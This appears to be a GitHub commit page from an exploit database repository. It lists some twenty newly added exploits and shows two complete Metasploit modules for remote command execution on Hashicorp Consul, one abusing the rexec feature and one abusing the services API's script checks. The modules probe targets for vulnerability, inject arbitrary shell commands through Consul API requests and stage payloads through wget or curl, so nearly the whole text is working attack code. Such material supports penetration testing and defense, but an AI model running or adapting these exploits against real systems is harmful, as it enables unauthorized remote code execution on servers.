This repository has been archived by the owner on Nov 28, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 1.9k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
12 changes to exploits/shellcodes EZ CD Audio Converter 8.0.7 - Denial of Service (PoC) NetworkSleuth 3.0.0.0 - 'Key' Denial of Service (PoC) NBMonitor Network Bandwidth Monitor 1.6.5.0 - 'Name' Denial of Service (PoC) WebKit JSC - 'AbstractValue::set' Use-After-Free WebKit JSC - 'JSArray::shiftCountWithArrayStorage' Out-of-Bounds Read/Write Ayukov NFTP FTP Client 2.0 - Buffer Overflow Hashicorp Consul - Remote Command Execution via Rexec (Metasploit) Hashicorp Consul - Remote Command Execution via Services API (Metasploit) WordPress Plugin Adicon Server 1.2 - 'selectedPlace' SQL Injection Frog CMS 0.9.5 - Cross-Site Scripting ZeusCart 4.0 - Cross-Site Request Forgery (Deactivate Customer Accounts) WSTMart 2.0.8 - Cross-Site Scripting ZeusCart 4.0 - Cross-Site Request Forgery (Deactivate Customer Accounts) WSTMart 2.0.8 - Cross-Site Scripting FrontAccounting 2.4.5 - 'SubmitUser' SQL Injection Craft CMS 3.0.25 - Cross-Site Scripting bludit Pages Editor 3.0.0 - Arbitrary File Upload WordPress Plugin Baggage Freight Shipping Australia 0.1.0 - Arbitrary File Upload bludit Pages Editor 3.0.0 - Arbitrary File Upload WordPress Plugin Baggage Freight Shipping Australia 0.1.0 - Arbitrary File Upload Vtiger CRM 7.1.0 - Remote Code Execution
- Loading branch information
Offensive Security
committed
Jan 3, 2019
1 parent
a6aa1db
commit e8dcb9f
Showing
13 changed files
with
802 additions
and
7 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,176 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
|
||
def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => "Hashicorp Consul Remote Command Execution via Rexec", | ||
'Description' => %q{ | ||
This module exploits a feature of Hashicorp Consul named rexec. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC | ||
'Francis Alexander <helofrancis[at]gmail.com>', # Discovery and PoC | ||
'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module | ||
], | ||
'References' => | ||
[ | ||
[ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ], | ||
[ 'URL', 'https://www.consul.io/docs/commands/exec.html'], | ||
[ 'URL', 'https://github.com/torque59/Garfield' ] | ||
], | ||
'Platform' => 'linux', | ||
'Targets' => [ [ 'Linux', {} ] ], | ||
'Payload' => {}, | ||
'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ], | ||
'Privileged' => false, | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => 'Aug 11 2018')) | ||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'The base path', '/']), | ||
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]), | ||
OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]), | ||
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']), | ||
Opt::RPORT(8500) | ||
]) | ||
end | ||
|
||
def check | ||
uri = target_uri.path | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(uri, "/v1/agent/self"), | ||
'headers' => { | ||
'X-Consul-Token' => datastore['ACL_TOKEN'] | ||
} | ||
}) | ||
unless res | ||
vprint_error 'Connection failed' | ||
return CheckCode::Unknown | ||
end | ||
begin | ||
agent_info = JSON.parse(res.body) | ||
if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false | ||
return CheckCode::Vulnerable | ||
else | ||
return CheckCode::Safe | ||
end | ||
rescue JSON::ParserError | ||
vprint_error 'Failed to parse JSON output.' | ||
return CheckCode::Unknown | ||
end | ||
end | ||
|
||
def execute_command(cmd, opts = {}) | ||
uri = target_uri.path | ||
|
||
print_status('Creating session.') | ||
res = send_request_cgi({ | ||
'method' => 'PUT', | ||
'uri' => normalize_uri(uri, 'v1/session/create'), | ||
'headers' => { | ||
'X-Consul-Token' => datastore['ACL_TOKEN'] | ||
}, | ||
'ctype' => 'application/json', | ||
'data' => {:Behavior => "delete", :Name => "Remote Exec", :TTL => "15s"}.to_json | ||
}) | ||
|
||
if res and res.code == 200 | ||
begin | ||
sess = JSON.parse(res.body) | ||
print_status("Got rexec session ID #{sess['ID']}") | ||
rescue JSON::ParseError | ||
fail_with(Failure::Unknown, 'Failed to parse JSON output.') | ||
end | ||
end | ||
|
||
print_status("Setting command for rexec session #{sess['ID']}") | ||
res = send_request_cgi({ | ||
'method' => 'PUT', | ||
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"), | ||
'headers' => { | ||
'X-Consul-Token' => datastore['ACL_TOKEN'] | ||
}, | ||
'ctype' => 'application/json', | ||
'data' => {:Command => "#{cmd}", :Wait => 2000000000}.to_json | ||
}) | ||
if res and not res.code == 200 or res.body == 'false' | ||
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') | ||
end | ||
|
||
print_status("Triggering execution on rexec session #{sess['ID']}") | ||
res = send_request_cgi({ | ||
'method' => 'PUT', | ||
'uri' => normalize_uri(uri, "v1/event/fire/_rexec"), | ||
'headers' => { | ||
'X-Consul-Token' => datastore['ACL_TOKEN'] | ||
}, | ||
'ctype' => 'application/json', | ||
'data' => {:Prefix => "_rexec", :Session => "#{sess['ID']}"}.to_json | ||
}) | ||
if res and not res.code == 200 | ||
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') | ||
end | ||
|
||
begin | ||
Timeout.timeout(datastore['TIMEOUT']) do | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"), | ||
'headers' => { | ||
'X-Consul-Token' => datastore['ACL_TOKEN'] | ||
} | ||
}) | ||
begin | ||
data = JSON.parse(res.body) | ||
break if data.include? 'out' | ||
rescue JSON::ParseError | ||
fail_with(Failure::Unknown, 'Failed to parse JSON output.') | ||
end | ||
sleep 2 | ||
end | ||
rescue Timeout::Error | ||
# we catch this error so cleanup still happen afterwards | ||
print_status("Timeout hit, error with payload ?") | ||
end | ||
|
||
print_status("Cleaning up rexec session #{sess['ID']}") | ||
res = send_request_cgi({ | ||
'method' => 'PUT', | ||
'uri' => normalize_uri(uri, "v1/session/destroy/#{sess['ID']}"), | ||
'headers' => { | ||
'X-Consul-Token' => datastore['ACL_TOKEN'] | ||
} | ||
}) | ||
|
||
if res and not res.code == 200 or res.body == 'false' | ||
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') | ||
end | ||
|
||
res = send_request_cgi({ | ||
'method' => 'DELETE', | ||
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}?recurse="), | ||
'headers' => { | ||
'X-Consul-Token' => datastore['ACL_TOKEN'] | ||
} | ||
}) | ||
|
||
if res and not res.code == 200 or res.body == 'false' | ||
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') | ||
end | ||
end | ||
|
||
def exploit | ||
execute_cmdstager() | ||
end | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,132 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
|
||
def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => "Hashicorp Consul Remote Command Execution via Services API", | ||
'Description' => %q{ | ||
This module exploits Hashicorp Consul's services API to gain remote command | ||
execution on Consul nodes. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC | ||
'Francis Alexander <helofrancis[at]gmail.com >', # Discovery and PoC | ||
'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module | ||
], | ||
'References' => | ||
[ | ||
[ 'URL', 'https://www.consul.io/api/agent/service.html' ], | ||
[ 'URL', 'https://github.com/torque59/Garfield' ] | ||
], | ||
'Platform' => 'linux', | ||
'Targets' => [ [ 'Linux', {} ] ], | ||
'Payload' => {}, | ||
'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'curl', 'wget'], | ||
'Privileged' => false, | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => 'Aug 11 2018')) | ||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'The base path', '/']), | ||
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]), | ||
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']), | ||
Opt::RPORT(8500) | ||
]) | ||
end | ||
|
||
def check | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, '/v1/agent/self'), | ||
'headers' => { | ||
'X-Consul-Token' => datastore['ACL_TOKEN'] | ||
} | ||
}) | ||
|
||
unless res | ||
vprint_error 'Connection failed' | ||
return CheckCode::Unknown | ||
end | ||
|
||
unless res.code == 200 | ||
vprint_error 'Unexpected reply' | ||
return CheckCode::Safe | ||
end | ||
|
||
agent_info = JSON.parse(res.body) | ||
|
||
if agent_info["Config"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableRemoteScriptChecks"] == true | ||
return CheckCode::Vulnerable | ||
end | ||
|
||
CheckCode::Safe | ||
rescue JSON::ParserError | ||
vprint_error 'Failed to parse JSON output.' | ||
return CheckCode::Unknown | ||
end | ||
|
||
def execute_command(cmd, opts = {}) | ||
uri = target_uri.path | ||
service_name = Rex::Text.rand_text_alpha(5..10) | ||
print_status("Creating service '#{service_name}'") | ||
|
||
# NOTE: Timeout defines how much time the check script will run until | ||
# getting killed. Arbitrarily set to one day for now. | ||
res = send_request_cgi({ | ||
'method' => 'PUT', | ||
'uri' => normalize_uri(uri, 'v1/agent/service/register'), | ||
'headers' => { | ||
'X-Consul-Token' => datastore['ACL_TOKEN'] | ||
}, | ||
'ctype' => 'application/json', | ||
'data' => { | ||
:ID => "#{service_name}", | ||
:Name => "#{service_name}", | ||
:Address => "127.0.0.1", | ||
:Port => 80, | ||
:check => { | ||
:script => "#{cmd}", | ||
:Args => ["sh", "-c", "#{cmd}"], | ||
:interval => "10s", | ||
:Timeout => "86400s" | ||
} | ||
}.to_json | ||
}) | ||
unless res && res.code == 200 | ||
fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.') | ||
end | ||
print_status("Service '#{service_name}' successfully created.") | ||
print_status("Waiting for service '#{service_name}' script to trigger") | ||
sleep(12) | ||
print_status("Removing service '#{service_name}'") | ||
res = send_request_cgi({ | ||
'method' => 'PUT', | ||
'uri' => normalize_uri( | ||
uri, | ||
"v1/agent/service/deregister/#{service_name}" | ||
), | ||
'headers' => { | ||
'X-Consul-Token' => datastore['ACL_TOKEN'] | ||
} | ||
}) | ||
if res && res.code != 200 | ||
fail_with(Failure::UnexpectedReply, | ||
'An error occured when contacting the Consul API.' | ||
) | ||
end | ||
end | ||
|
||
def exploit | ||
execute_cmdstager() | ||
end | ||
end |
Oops, something went wrong.